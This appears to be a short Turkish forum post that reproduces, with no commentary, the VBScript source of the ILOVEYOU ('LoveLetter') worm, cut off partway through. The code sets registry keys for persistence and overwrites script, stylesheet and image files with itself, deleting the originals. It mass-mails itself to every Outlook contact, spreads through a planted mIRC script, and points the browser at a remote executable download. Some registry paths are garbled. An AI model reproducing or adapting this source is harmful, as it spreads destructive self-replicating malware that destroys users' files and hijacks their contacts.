I love you virüsü

[sensizim]

rem barok -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosof tWindow s Scripting HostSettingsTimeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"MSKernel32.vbs")
c.Copy(dirwin&"Win32DLL.vbs")
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrent Versio nRunMSKernel32",dirsystem&"MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrent Versio nRunServicesWin32DLL",dirwin&"Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USERSoftwareMicrosof tIntern et ExplorerDownload Directory")
if (downread="") then
downread="c:"
end if
if (fileexist(dirsystem&"WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwert nMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetr yDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFI X.exe"
elseif num = 3 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbF V5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjk qwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznx cbvnmadshf gqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrent Versio nRunWIN-BUGSFIX",downread&"WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&""&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"script.in i")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USERSoftwareMic rosoftW AB"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USERSoftwareMi crosoft WAB"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"LOVE-LETTER-FOR-YOU.TXT .vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead,1," RE G_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.Addres sE ntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.Addres sE ntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="
alıntıdır